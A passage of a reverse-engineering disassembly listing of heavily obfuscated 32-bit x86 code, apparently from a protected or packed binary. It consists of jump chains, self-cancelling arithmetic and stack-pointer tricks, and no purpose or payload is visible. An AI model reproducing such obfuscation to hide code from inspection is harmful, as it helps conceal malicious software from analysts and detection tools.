loc_589531:				; CODE XREF: sub_57DD3A+86C8j
		xor	ebp, 28494057h
		add	ebx, ebp
		jmp	loc_5825B5
; ---------------------------------------------------------------------------


loc_58953E:				; CODE XREF: sub_57DD3A+7866j
		sub	esi, 22E06188h
		add	esi, edx
		jmp	loc_586536
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_585A9E
; ---------------------------------------------------------------------------


loc_589551:				; CODE XREF: sub_57DD3A+A539j
		push	28931E74h
		pop	esi
		neg	esi
		sub	esi, 0FFFFFFFFh
		jmp	loc_581A54
; ---------------------------------------------------------------------------


loc_589561:				; CODE XREF: sub_57DD3A+DE9Ej
		neg	edx
		jmp	loc_588F10
; ---------------------------------------------------------------------------


loc_589568:				; CODE XREF: sub_57DD3A+CBBCj
		pop	esp
		not	edx
		shl	edx, 3
		jmp	loc_58822F
; ---------------------------------------------------------------------------


loc_589573:				; CODE XREF: sub_57DD3A+4BF4j
		add	esi, ecx
		pop	ecx
		add	esi, 2
		xchg	esi, [esp+9Ah+var_9C+2]
		pop	esp
		rol	[esp+96h+var_98+2], cl
		pushf
		jmp	loc_5890CD
; ---------------------------------------------------------------------------


loc_589589:				; CODE XREF: sub_57DD3A+9DE0j
		shl	al, 2
		not	al
		push	ebx
		mov	bl, 1
		sub	al, bl
		pop	ebx
		jmp	loc_582B12
; ---------------------------------------------------------------------------


loc_589599:				; CODE XREF: sub_57DD3A+86B6j
		pop	esp
		jmp	loc_587D9F
; ---------------------------------------------------------------------------


loc_58959F:				; CODE XREF: sub_57DD3A+6785j
		movzx	eax, al
		jmp	loc_58BAAD
; ---------------------------------------------------------------------------


loc_5895A7:				; CODE XREF: sub_57DD3A+4D94j
		pop	edx
		push	esi
		mov	esi, 281565DAh
		sub	edx, 50385E85h
		jmp	loc_587BCD
; ---------------------------------------------------------------------------


loc_5895B9:				; CODE XREF: sub_57DD3A+10122j
		pop	bx
		jmp	loc_5855CC
; ---------------------------------------------------------------------------


loc_5895C0:				; CODE XREF: sub_57DD3A+4A08j
		shr	cl, 1
		shl	cl, 2
		dec	cl
		neg	cl
		xchg	ah, cl
		jmp	loc_58D2D6
; ---------------------------------------------------------------------------


loc_5895D0:				; CODE XREF: sub_57DD3A+DD22j
		or	dh, 0FEh
		add	dh, 1
		jmp	loc_588E91
; ---------------------------------------------------------------------------


loc_5895DB:				; CODE XREF: sub_57DD3A+BD7Aj
		pop	edi
		pop	edi
		jmp	loc_583F3A
; ---------------------------------------------------------------------------


loc_5895E2:				; CODE XREF: sub_57DD3A+CB19j
		add	esp, 4
		jmp	loc_581C2A
; ---------------------------------------------------------------------------


loc_5895EA:				; CODE XREF: sub_57DD3A+D71Cj
		xor	edi, ebx
		pop	ebx
		shr	edi, 2
		shl	edi, 1
		neg	edi
		shr	edi, 6
		sub	edi, 0A1E59EC4h
		xor	edx, edi
		pop	edi
		xor	eax, edx
		mov	edx, [esp+8Ah+var_8C+2]
		push	eax
		push	754Fh
		mov	[esp+92h+var_94+2], esp
		add	[esp+92h+var_94+2], 4
		pop	eax
		add	eax, 4
		push	ebx
		jmp	loc_582358
; ---------------------------------------------------------------------------


loc_58961E:				; CODE XREF: sub_57DD3A+3D94j
		xor	eax, [esp+62h+var_64+2]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		xor	[esp+62h+var_64+2], eax
		xor	eax, [esp+62h+var_64+2]
		jmp	loc_587895
; ---------------------------------------------------------------------------


loc_589633:				; CODE XREF: sub_57DD3A+102C5j
		mov	ecx, [esp+62h+var_64+2]
		add	esp, 4
		xor	ebp, 77480584h
		xor	edi, ebp
		pop	ebp
		sub	edi, 0FFFFFFFFh
		sub	edi, 0FC6A7BE3h
		jmp	loc_58984F
; ---------------------------------------------------------------------------


loc_589656:				; CODE XREF: sub_57DD3A+6091j
		pop	eax
		add	esp, 4
		add	ebp, 2ED57AECh
		add	ebp, esi
		push	ebx
		mov	ebx, 2ED57AECh
		sub	ebp, ebx
		pop	ebx
		mov	esi, [esp+0D0h+var_D0]
		add	esp, 4
		xchg	ebp, [esp+0CCh+var_CC]
		mov	esp, [esp+0CCh+var_CC]
		mul	cl
		movzx	cx, ah
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0D0h+var_D0]
		pop	esp
		mov	[esp+0CCh+var_CC], ebp
		jmp	loc_58225A
; ---------------------------------------------------------------------------


loc_589698:				; CODE XREF: sub_57DD3A+47E9j
		sub	cl, 64h
		sub	bl, cl
		pop	ecx
		sub	bl, 8Ah
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	edx
		sub	esp, 4
		push	esp
		pop	[esp+0B0h+var_B0]
		jmp	loc_585795
; ---------------------------------------------------------------------------


loc_5896B7:				; CODE XREF: sub_57DD3A+FC28j
		sub	ebx, 420A184Dh
		sub	esp, 4
		mov	[esp+0B0h+var_B0], edi
		push	3F77h
		mov	[esp+0B4h+var_B4], eax
		mov	edi, [esp+0B4h+var_B4]
		jmp	loc_583343
; ---------------------------------------------------------------------------


loc_5896D3:				; CODE XREF: sub_57DD3A+97F6j
		mov	ch, 40h
		mov	al, ch
		pop	ecx
		sub	bl, 8Ah
		jmp	loc_58D7B5
; ---------------------------------------------------------------------------


loc_5896E0:				; CODE XREF: sub_57DD3A+5C04j
		xchg	eax, [esp+82h+var_84+2]
		jmp	loc_588AEF
; ---------------------------------------------------------------------------


loc_5896E8:				; CODE XREF: sub_57DD3A+B19Dj
		add	eax, ebx
		pop	ebx
		jmp	loc_5881C1
; ---------------------------------------------------------------------------


loc_5896F0:				; CODE XREF: sub_57DD3A+812Ej
		xchg	eax, ebp
		jmp	loc_58DF21
; ---------------------------------------------------------------------------


loc_5896F6:				; CODE XREF: sub_57DD3A+AD5Fj
		pop	[esp+0A4h+var_A4]
		pop	esp
		jmp	loc_58AB88
; ---------------------------------------------------------------------------


loc_5896FF:				; CODE XREF: sub_57DD3A+8540j
		xchg	eax, [esp+9Ah+var_9C+2]
		jmp	loc_586500
; ---------------------------------------------------------------------------


loc_589707:				; CODE XREF: sub_57DD3A+D762j
		add	esp, 4
		add	ecx, 4
		push	esi
		mov	esi, 1E3F25DBh
		jmp	loc_58A35F
; ---------------------------------------------------------------------------


loc_58971E:				; CODE XREF: sub_57DD3A+F6A9j
		mov	[esp+9Ah+var_9C+2], ecx
		mov	ecx, 70573630h
		add	ebx, 338909E3h
		add	ebx, ecx
		sub	ebx, 338909E3h
		jmp	loc_586CEF
; ---------------------------------------------------------------------------


loc_589739:				; CODE XREF: sub_57DD3A+784Fj
		sub	eax, 4
		jmp	loc_58C659
; ---------------------------------------------------------------------------


loc_589743:				; CODE XREF: sub_57DD3A+40F6j
		mov	[esp+86h+var_88+2], edx
		mov	edx, 4
		add	eax, edx
		mov	edx, [esp+86h+var_88+2]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	eax, 7703251Ch
		add	eax, ebx
		add	eax, 7703251Ch
		push	[esp+86h+var_88+2]
		pop	ebx
		add	esp, 4
		xchg	eax, [esp+82h+var_84+2]
		mov	esp, [esp+82h+var_84+2]
		imul	ecx
		push	0C3Bh
		mov	[esp+86h+var_88+2], ebp
		sub	esp, 4
		push	esp
		pop	[esp+8Eh+var_90+2]
		jmp	loc_5839E6
; ---------------------------------------------------------------------------


loc_58978E:				; CODE XREF: sub_57DD3A+6A55j
		push	[esp+0CCh+var_C8]
		pop	edi
		pop	[esp+0CCh+var_CC]
		pop	esp
		mov	ax, word ptr [esp+0C4h+var_C4]
		push	eax
		jmp	loc_5886F9
; ---------------------------------------------------------------------------


loc_5897A1:				; CODE XREF: sub_57DD3A+9CCDj
		or	ecx, 7305033Eh
		not	ecx
		shl	ecx, 1
		jmp	loc_586A17
; ---------------------------------------------------------------------------


loc_5897B0:				; CODE XREF: sub_57DD3A+7EA1j
		xchg	ecx, [esp+7Ah+var_7C+2]
		pop	esp
		or	eax, eax
		jnz	loc_587FF3
		push	4921h
		mov	[esp+7Ah+var_7C+2], ebx
		mov	ebx, 1
		mov	edx, ebx
		push	[esp+7Ah+var_7C+2]
		mov	ebx, [esp+7Eh+var_80+2]
		add	esp, 4
		push	ecx
		push	17E6h
		mov	[esp+82h+var_84+2], esp
		push	ecx
		mov	ecx, 4
		add	[esp+86h+var_84+2], ecx
		jmp	loc_58AECE
; ---------------------------------------------------------------------------


loc_5897EC:				; CODE XREF: sub_57DD3A+DB83j
		dec	bh
		dec	bh
		sub	bh, 0DBh
		sub	ah, bh
		pop	ebx
		xor	ah, 9Ch
		add	bl, ah
		pop	eax
		pop	edx
		jmp	loc_581C58
; ---------------------------------------------------------------------------


loc_589802:				; CODE XREF: sub_57DD3A+3CFEj
		add	edx, 5B5E172Fh
		shr	edx, 3
		sub	edx, 0D248F577h
		sub	esi, edx
		pop	edx
		shl	esi, 5
		sub	esi, 92B53B92h
		xor	esi, ebp
		jmp	loc_58BD1A
; ---------------------------------------------------------------------------


loc_589824:				; CODE XREF: sub_57DD3A+7104j
		sub	esp, 4
		mov	[esp+0D8h+var_D8], esi
		push	7290h
		push	esp
		pop	[esp+0E0h+var_E0]
		jmp	loc_58B3D7
; ---------------------------------------------------------------------------


loc_58983B:				; CODE XREF: sub_57DD3A+76D3j
		add	ebx, 0F7C9B0FCh
		mov	esi, ebx
		jmp	loc_58AFD0
; ---------------------------------------------------------------------------


loc_589848:				; CODE XREF: sub_57DD3A+59CFj
		add	esi, edi
		jmp	loc_584E8A
; ---------------------------------------------------------------------------


loc_58984F:				; CODE XREF: sub_57DD3A+B917j
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp+56h+var_58+2]
		pop	esp
		movzx	ecx, ax
		push	5E6Eh
		mov	[esp+56h+var_58+2], ecx
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58986C:				; CODE XREF: sub_57DD3A+52EAj
		xchg	esi, [esp+82h+var_84+2]
		mov	esp, [esp+82h+var_84+2]
		push	[esp+82h+var_84+2]
		pop	edx
		push	7436h
		mov	[esp+86h+var_88+2], edi
		mov	edi, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+8Ah+var_8C+2]
		pop	esp
		mov	[esp+86h+var_88+2], ebx
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], edi
		push	4
		jmp	loc_58C04F
; ---------------------------------------------------------------------------


loc_5898A6:				; CODE XREF: sub_57DD3A+ABA9j
		mov	esi, 6EA37822h
		shr	esi, 3
		dec	esi
		xor	esi, 0DD46F02h
		sub	edx, esi
		pop	esi
		shl	edx, 8
		or	edx, 0D735A2Bh
		add	edx, 0C24D24BCh
		sub	eax, edx
		pop	edx
		sub	eax, 55210640h
		sub	esp, 4
		mov	[esp+7Eh+var_80+2], edi
		mov	edi, 50F83CD1h
		add	edi, 0FF6BF17h
		sub	esp, 4
		mov	[esp+82h+var_84+2], esi
		mov	esi, 2C5D4903h
		push	esi
		mov	esi, 745366D5h
		add	eax, esi
		pop	esi
		sub	eax, esi
		sub	eax, 745366D5h
		pop	esi
		jmp	loc_5891A1
; ---------------------------------------------------------------------------


loc_589904:				; CODE XREF: sub_57DD3A+101F6j
		mov	esi, esp
		jmp	loc_58253D
; ---------------------------------------------------------------------------


loc_58990B:				; CODE XREF: sub_57DD3A+5EE4j
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp+76h+var_78+2]
		pop	esp
		mov	[esp+72h+var_74+2], eax
		mov	eax, 4
		add	esi, 2B19125Ch
		add	esi, eax
		sub	esi, 2B19125Ch
		mov	eax, [esp+72h+var_74+2]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		xor	esi, [esp+6Eh+var_70+2]
		xor	[esp+6Eh+var_70+2], esi
		xor	esi, [esp+6Eh+var_70+2]
		mov	esp, [esp+6Eh+var_70+2]
		mov	ax, word ptr [esp+6Eh+var_70+2]
		push	edi
		push	esp
		mov	edi, [esp+76h+var_78+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+76h+var_78+2], esi
		jmp	loc_585CE8
; ---------------------------------------------------------------------------
		mov	eax, [esp+76h+var_78+2]
		push	13FAh
		jmp	loc_58AE93
; ---------------------------------------------------------------------------


loc_589970:				; CODE XREF: sub_57DD3A+7DDFj
		push	ecx
		mov	ecx, 619D6F6Fh
		add	ecx, 57BB4918h
		not	ecx
		not	ecx
		jmp	loc_583259
; ---------------------------------------------------------------------------


loc_589985:				; CODE XREF: sub_57DD3A+FE61j
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ebp
		push	ecx
		mov	ecx, 7FDB015Ch
		mov	ebp, ecx
		pop	ecx
		xor	ebp, 3AA2514Ch
		shl	ebp, 5
		push	edx
		mov	edx, 0AF2A0204h
		xor	ebp, edx
		pop	edx
		jmp	loc_585BD8
; ---------------------------------------------------------------------------


loc_5899AF:				; CODE XREF: sub_57DD3A+C240j
		push	46F3h
		mov	[esp+6Ch+var_6C], ecx
		jmp	loc_58CF1A
; ---------------------------------------------------------------------------
		push	[esp+6Ch+var_6C]
		mov	eax, [esp+70h+var_70]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_582885
; ---------------------------------------------------------------------------


loc_5899D0:				; CODE XREF: sub_57DD3A+5866j
		sub	esi, eax
		pop	eax
		sub	esi, 7691ECA0h
		add	ebx, esi
		pop	esi
		add	eax, 25DF77D7h
		push	ecx
		mov	ecx, 6717FF8h
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		add	eax, 6717FF8h
		jmp	loc_586E08
; ---------------------------------------------------------------------------


loc_5899F6:				; CODE XREF: sub_57DD3A+AB22j
		inc	edx
		inc	edx
		sub	edx, 0E5C2140Ch
		mov	ebx, edx
		pop	edx
		shr	ebx, 3
		add	ebx, 29317807h
		jmp	loc_58A499
; ---------------------------------------------------------------------------


loc_589A0F:				; CODE XREF: sub_57DD3A+E5EEj
		mov	[esp+88h+var_88], ebx
		pop	ebp
		jmp	loc_58B3E2
; ---------------------------------------------------------------------------


loc_589A18:				; CODE XREF: sub_57DD3A+7D5Fj
		mov	esp, [esp+6Eh+var_70+2]
		shl	[esp+6Eh+var_70+2], cl
		jmp	loc_58D8C9
; ---------------------------------------------------------------------------


loc_589A23:				; CODE XREF: sub_57DD3A+C091j
		push	[esp+6Eh+var_6C+2]
		jmp	loc_582ED1
; ---------------------------------------------------------------------------


loc_589A2C:				; CODE XREF: sub_57DD3A+D96Dj
		add	eax, 2
		xchg	eax, [esp+72h+var_74+2]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_589A3B:				; CODE XREF: sub_57DD3A+B3DBj
		sub	[esp+0CCh+var_C8], ebp
		mov	ebp, [esp+0CCh+var_CC]
		add	esp, 4
		pop	eax
		jmp	loc_587A85
; ---------------------------------------------------------------------------


loc_589A4E:				; CODE XREF: sub_57DD3A+B54Fj
		xchg	eax, edx
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		xchg	eax, edx
		push	ecx
		push	edx
		pop	ecx
		mov	edx, [esp+0D0h+var_D0]
		add	esp, 4
		xor	ecx, 0C7C5EB41h
		sub	edi, 235A4D46h
		sub	edi, ecx
		add	edi, 235A4D46h
		mov	ecx, [esp+0CCh+var_CC]
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_589A80:				; CODE XREF: sub_57DD3A+9126j
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xor	ecx, [esp+84h+var_84]
		jmp	loc_582084
; ---------------------------------------------------------------------------


loc_589A94:				; CODE XREF: sub_57DD3A+E32Ej
		sub	esp, 4
		mov	[esp+88h+var_88], ecx
		mov	ecx, 88C39DAh
		jmp	loc_588159
; ---------------------------------------------------------------------------


loc_589AA4:				; CODE XREF: sub_57DD3A+A8FAj
		xchg	edx, [esp+60h+var_60]
		pop	esp
		sar	word ptr [esp+5Ch+var_5C], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_589AB2:				; CODE XREF: sub_57DD3A+8463j
		sub	ebx, edi
		jmp	loc_5895DB
; ---------------------------------------------------------------------------


loc_589AB9:				; CODE XREF: sub_57DD3A+D445j
		mov	ebp, [esp+76h+var_78+2]
		add	esp, 4
		jmp	loc_5863ED
; ---------------------------------------------------------------------------


loc_589AC4:				; CODE XREF: sub_57DD3A+6B7Aj
		mov	dh, 66h
		push	ecx
		mov	cl, 0ADh
		jmp	loc_58C32D
; ---------------------------------------------------------------------------


loc_589ACE:				; CODE XREF: sub_57DD3A+8804j
		push	[esp+78h+var_74]
		mov	esi, [esp+7Ch+var_7C]
		add	esp, 4
		pop	[esp+78h+var_78]
		pop	esp
		push	edi
		jmp	loc_588C50
; ---------------------------------------------------------------------------


loc_589AE2:				; CODE XREF: sub_57DD3A+DC83j
		pop	esi
		xor	eax, 5E761A39h
		or	eax, 20351D6Ah
		sub	eax, 31771F7Ah
		add	ecx, 5659670Dh
		add	ecx, eax
		sub	ecx, 5659670Dh
		pop	eax
		push	esi
		mov	esi, 4
		sub	esp, 4
		mov	[esp+74h+var_74], esi
		mov	esi, 473E2CE5h
		and	esi, 426167EFh
		xor	esi, 4EC807BDh
		xor	esi, 3A1D79FBh
		sub	ecx, esi
		jmp	loc_586DCC
; ---------------------------------------------------------------------------


loc_589B2B:				; CODE XREF: sub_57DD3A+C0A7j
		push	esi
		mov	esi, 0DED4D47h
		sub	[esp+78h+var_70], 303C56FDh
		add	[esp+78h+var_70], esi
		sub	esp, 4
		jmp	loc_5890A5
; ---------------------------------------------------------------------------


loc_589B45:				; CODE XREF: sub_57DD3A+7160j
		sub	ecx, 738A7B50h
		pop	ebp
		xchg	ecx, [esp+6Eh+var_70+2]
		pop	esp
		push	edi
		push	ecx
		mov	ecx, 6CCE6552h
		xor	ecx, 6CCE6556h
		mov	edi, ecx
		jmp	loc_58216A
; ---------------------------------------------------------------------------


loc_589B64:				; CODE XREF: sub_57DD3A+423Cj
		add	esp, 4
		jmp	loc_585C39
; ---------------------------------------------------------------------------


loc_589B6F:				; CODE XREF: sub_57DD3A+CE40j
		add	esi, edx
		pop	edx
		xchg	esi, [esp+72h+var_74+2]
		pop	esp
		jmp	loc_581B6C
; ---------------------------------------------------------------------------


loc_589B7B:				; CODE XREF: sub_57DD3A+84D3j
		mov	dl, 95h
		add	dl, 0B5h
		sub	dl, ch
		push	ecx
		mov	ch, 37h
		neg	ch
		dec	ch
		jmp	loc_583C78
; ---------------------------------------------------------------------------
		push	[esp+94h+var_94]
		pop	eax
		push	edi
		push	esp
		pop	edi
		jmp	loc_58ACD4
; ---------------------------------------------------------------------------


loc_589B9A:				; CODE XREF: sub_57DD3A+5D8Aj
		mov	esp, [esp+80h+var_80]
		mov	[esp+80h+var_80], edi
		push	esp
		jmp	loc_5853D3
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		jmp	loc_58830F
; ---------------------------------------------------------------------------


loc_589BAD:				; CODE XREF: sub_57DD3A+B083j
		add	edi, edx
		jmp	loc_587683
; ---------------------------------------------------------------------------


loc_589BB4:				; CODE XREF: sub_57DD3A+A9E9j
		add	ebp, 1F7EE90Eh
		sub	ebp, 12F1715Eh
		xor	ebp, 43B54548h
		add	ebp, 2C5672C7h
		inc	ebp
		jmp	loc_58AAC2
; ---------------------------------------------------------------------------


loc_589BD2:				; CODE XREF: sub_57DD3A+ACCAj
		push	ebp
		mov	ebp, 7FE1321Ch
		xor	ebp, 304559C7h
		add	ebp, 0D2BCFD99h
		xor	eax, ebp
		jmp	loc_58370E
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+6Eh+var_70+2]
		push	4C8Bh
		mov	[esp+72h+var_74+2], ecx
		push	esp
		push	[esp+76h+var_78+2]
		jmp	loc_586FC6
; ---------------------------------------------------------------------------


loc_589C00:				; CODE XREF: sub_57DD3A+E608j
		or	esi, eax
		pop	eax
		push	ebx
		mov	ebx, 0A47A103Ah
		sub	esi, 7A4E7EAFh
		sub	esi, ebx
		jmp	loc_582264
; ---------------------------------------------------------------------------


loc_589C16:				; CODE XREF: sub_57DD3A+9A96j
		push	ecx
		mov	ecx, 595E45E1h
		xor	[esp+88h+var_84], ecx
		mov	ecx, [esp+88h+var_88]
		add	esp, 4
		mov	edi, [esp+84h+var_84]
		jmp	loc_583F83
; ---------------------------------------------------------------------------


loc_589C31:				; CODE XREF: sub_57DD3A+6409j
		pop	eax
		push	0C21h
		mov	[esp+8Ch+var_8C], ebx
		mov	ebx, 7F8B73A1h
		jmp	loc_5861D7
; ---------------------------------------------------------------------------


loc_589C44:				; CODE XREF: sub_57DD3A+7872j
		mov	esi, esp
		add	esi, 4
		jmp	loc_584658
; ---------------------------------------------------------------------------


loc_589C51:				; CODE XREF: sub_57DD3A+6ECDj
		sub	esp, 4
		push	esp
		jmp	loc_58B6E6
; ---------------------------------------------------------------------------


loc_589C5A:				; CODE XREF: sub_57DD3A+911Cj
		add	edx, 4
		xchg	edx, [esp+5Eh+var_60+2]
		pop	esp
		jmp	loc_58731F
; ---------------------------------------------------------------------------


loc_589C69:				; CODE XREF: sub_57DD3A+545Aj
		add	esp, 4
		add	bl, al
		push	eax
		push	ecx
		jmp	loc_582D68
; ---------------------------------------------------------------------------


loc_589C78:				; CODE XREF: sub_57DD3A+D1C0j
		mov	[esp+0A4h+var_A4], esi
		not	[esp+0A4h+var_A4]
		jmp	loc_58D299
; ---------------------------------------------------------------------------


loc_589C83:				; CODE XREF: sub_57DD3A+4A9Aj
		pop	bx
		jmp	loc_5878AF
; ---------------------------------------------------------------------------


loc_589C8A:				; CODE XREF: sub_57DD3A+CD6Dj
		xchg	ecx, [esp+0AAh+var_AC+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0AAh+var_AC+2]
		pop	esp
		push	381Fh
		mov	[esp+0AAh+var_AC+2], ebx
		mov	ebx, 104E4BBDh
		dec	ebx
		push	ecx
		mov	ecx, 30010B17h
		sub	ebx, 0F7621CEh
		sub	ebx, ecx
		add	ebx, 0F7621CEh
		pop	ecx
		jmp	loc_581B3F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0AAh+var_AC+2]
		jmp	loc_5861A2
; ---------------------------------------------------------------------------


loc_589CD2:				; CODE XREF: sub_57DD3A+F173j
		push	edi
		mov	edi, 1CCE0E45h
		dec	edi
		jmp	loc_585E12
; ---------------------------------------------------------------------------


loc_589CDE:				; CODE XREF: sub_57DD3A+ED54j
		sub	eax, 22D90686h
		jmp	loc_587A38
; ---------------------------------------------------------------------------


loc_589CE8:				; CODE XREF: sub_57DD3A+FA42j
		pop	esp
		push	[esp+0AAh+var_AC+2]
		pop	eax
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 18364498h
		push	esi
		jmp	loc_585FD1
; ---------------------------------------------------------------------------


loc_589CFC:				; CODE XREF: sub_57DD3A+6995j
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp+0B8h+var_B8], ebp
		jmp	loc_584571
; ---------------------------------------------------------------------------


loc_589D13:				; CODE XREF: sub_57DD3A+75BFj
		mov	ebx, [esp+76h+var_78+2]
		jmp	loc_586923
; ---------------------------------------------------------------------------


loc_589D1B:				; CODE XREF: sub_57DD3A+C2B0j
		mov	ecx, 257D390Fh
		jmp	loc_584BEC
; ---------------------------------------------------------------------------


loc_589D25:				; CODE XREF: sub_57DD3A+6A9Fj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_589D2A:				; CODE XREF: sub_57DD3A+D09Fj
		mov	cx, word ptr [esp+0CAh+var_CC+2]
		push	ecx
		push	esp
		mov	ecx, [esp+0D2h+var_D4+2]
		add	esp, 4
		add	ecx, 4
		jmp	loc_584BCB
; ---------------------------------------------------------------------------


loc_589D44:				; CODE XREF: sub_57DD3A+4271j
		mov	edi, [esp+7Ah+var_7C+2]
		push	4783h
		mov	[esp+7Eh+var_80+2], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+7Eh+var_80+2]
		xor	[esp+7Eh+var_80+2], edi
		xor	edi, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		jmp	loc_58C8F7
; ---------------------------------------------------------------------------


loc_589D6B:				; CODE XREF: sub_57DD3A+9A63j
		and	eax, ebp
		jmp	loc_589EC3
; ---------------------------------------------------------------------------


loc_589D72:				; CODE XREF: sub_57DD3A+8DCCj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_589D77:				; CODE XREF: sub_57DD3A+FA91j
		mov	[esp+72h+var_74+2], ebx
		mov	ebx, 4DF55D54h
		add	ebp, 55F44A50h
		sub	ebp, ebx
		jmp	loc_58AA52
; ---------------------------------------------------------------------------


loc_589D8C:				; CODE XREF: sub_57DD3A+60B9j
		add	esp, 4
		xor	edx, [esp+0E0h+var_E0]
		xor	[esp+0E0h+var_E0], edx
		xor	edx, [esp+0E0h+var_E0]
		mov	esp, [esp+0E0h+var_E0]
		mov	[esp+0E0h+var_E0], eax
		pop	dword ptr [edi+40h]
		push	[esp+0DCh+var_DC]
		mov	eax, [esp+0E0h+var_E0]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+0E8h+var_E8], ebp
		push	esi
		mov	esi, 463B39A3h
		mov	ebp, 5FD68C2Ah
		jmp	loc_58386F
; ---------------------------------------------------------------------------


loc_589DC0:				; CODE XREF: sub_57DD3A+DADFj
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		jmp	loc_589A23
; ---------------------------------------------------------------------------


loc_589DD0:				; CODE XREF: sub_57DD3A+8848j
		pop	ecx
		add	edx, 1
		push	edi
		push	ebx
		jmp	loc_58D4B6
; ---------------------------------------------------------------------------


loc_589DDB:				; CODE XREF: sub_57DD3A+FB8Aj
		xor	eax, 0EB02A87h
		pop	ecx
		jmp	loc_589B2B
; ---------------------------------------------------------------------------


loc_589DE6:				; CODE XREF: sub_57DD3A+6B90j
		sub	edi, 1F0272A2h
		sub	edi, 481B4087h
		and	edi, 34FB2285h
		push	eax
		mov	eax, 4802281h
		sub	edi, eax
		pop	eax
		jmp	loc_5868B7
; ---------------------------------------------------------------------------


loc_589E06:				; CODE XREF: sub_57DD3A+F731j
		inc	ecx
		dec	ecx
		push	edi
		jmp	loc_586740
; ---------------------------------------------------------------------------


loc_589E0E:				; CODE XREF: sub_57DD3A+F95Ej
		push	eax
		mov	eax, esp
		jmp	loc_588324
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+98h+var_98]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp+9Ch+var_9C]
		xor	[esp+9Ch+var_9C], ebx
		xor	ebx, [esp+9Ch+var_9C]
		pop	esp
		mov	[esp+98h+var_98], eax
		push	esp
		jmp	loc_58A9A5
; ---------------------------------------------------------------------------


loc_589E3C:				; CODE XREF: sub_57DD3A+9BA7j
		mov	[esp+0ACh+var_AC], esp
		add	[esp+0ACh+var_AC], 4
		mov	esi, [esp+0ACh+var_AC]
		add	esp, 4
		add	esi, 4
		jmp	loc_58578F
; ---------------------------------------------------------------------------


loc_589E54:				; CODE XREF: sub_57DD3A+FAD6j
		push	edi
		mov	edi, 75BC3874h
		and	edi, 36805548h
		xor	edi, 0ADC6DC5h
		not	edi
		jmp	loc_58CBAC
; ---------------------------------------------------------------------------


loc_589E6D:				; CODE XREF: sub_57DD3A+8899j
		pop	[esp+0CEh+var_D0+2]
		mov	esp, [esp+0CAh+var_CC+2]
		push	dword ptr [eax]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_589E7A:				; CODE XREF: sub_57DD3A+ADC1j
		mov	[esp+90h+var_90], esp
		add	[esp+90h+var_90], 4
		push	[esp+90h+var_90]
		pop	eax
		push	ebx
		jmp	loc_5828F6
; ---------------------------------------------------------------------------


loc_589E8E:				; CODE XREF: sub_57DD3A+DFD3j
		xor	edi, 0EC348546h
		sub	eax, edi
		mov	edi, [esp+94h+var_94]
		push	edx
		jmp	loc_584677
; ---------------------------------------------------------------------------


loc_589E9F:				; CODE XREF: sub_57DD3A+8030j
		sub	al, 72h
		add	al, dl
		jmp	loc_582406
; ---------------------------------------------------------------------------


loc_589EA8:				; CODE XREF: sub_57DD3A+5592j
		add	bh, 16h
		sub	bh, dh
		sub	bh, 16h
		jmp	loc_58B164
; ---------------------------------------------------------------------------


loc_589EB5:				; CODE XREF: sub_57DD3A+585Cj
		push	0
		sub	[esp+8Ch+var_8C], ecx
		pop	ecx
		jmp	loc_588BEE
; ---------------------------------------------------------------------------


loc_589EC3:				; CODE XREF: sub_57DD3A+C033j
		mov	ebp, [esp+82h+var_84+2]
		push	3AFBh
		mov	[esp+86h+var_88+2], ecx
		push	esp
		push	[esp+8Ah+var_8C+2]
		pop	ecx
		add	esp, 4
		jmp	loc_58CA2E
; ---------------------------------------------------------------------------


loc_589EDE:				; CODE XREF: sub_57DD3A+5830j
		neg	edx
		add	edx, 35D3C63h
		jmp	loc_584BAB
; ---------------------------------------------------------------------------


loc_589EEB:				; CODE XREF: sub_57DD3A+3EEBj
		push	0DE0h
		mov	[esp+80h+var_80], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+80h+var_80]
		xor	[esp+80h+var_80], ecx
		xor	ecx, [esp+80h+var_80]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_583767
; ---------------------------------------------------------------------------


loc_589F16:				; CODE XREF: sub_57DD3A+D47Dj
		add	ecx, ebp
		pop	ebp
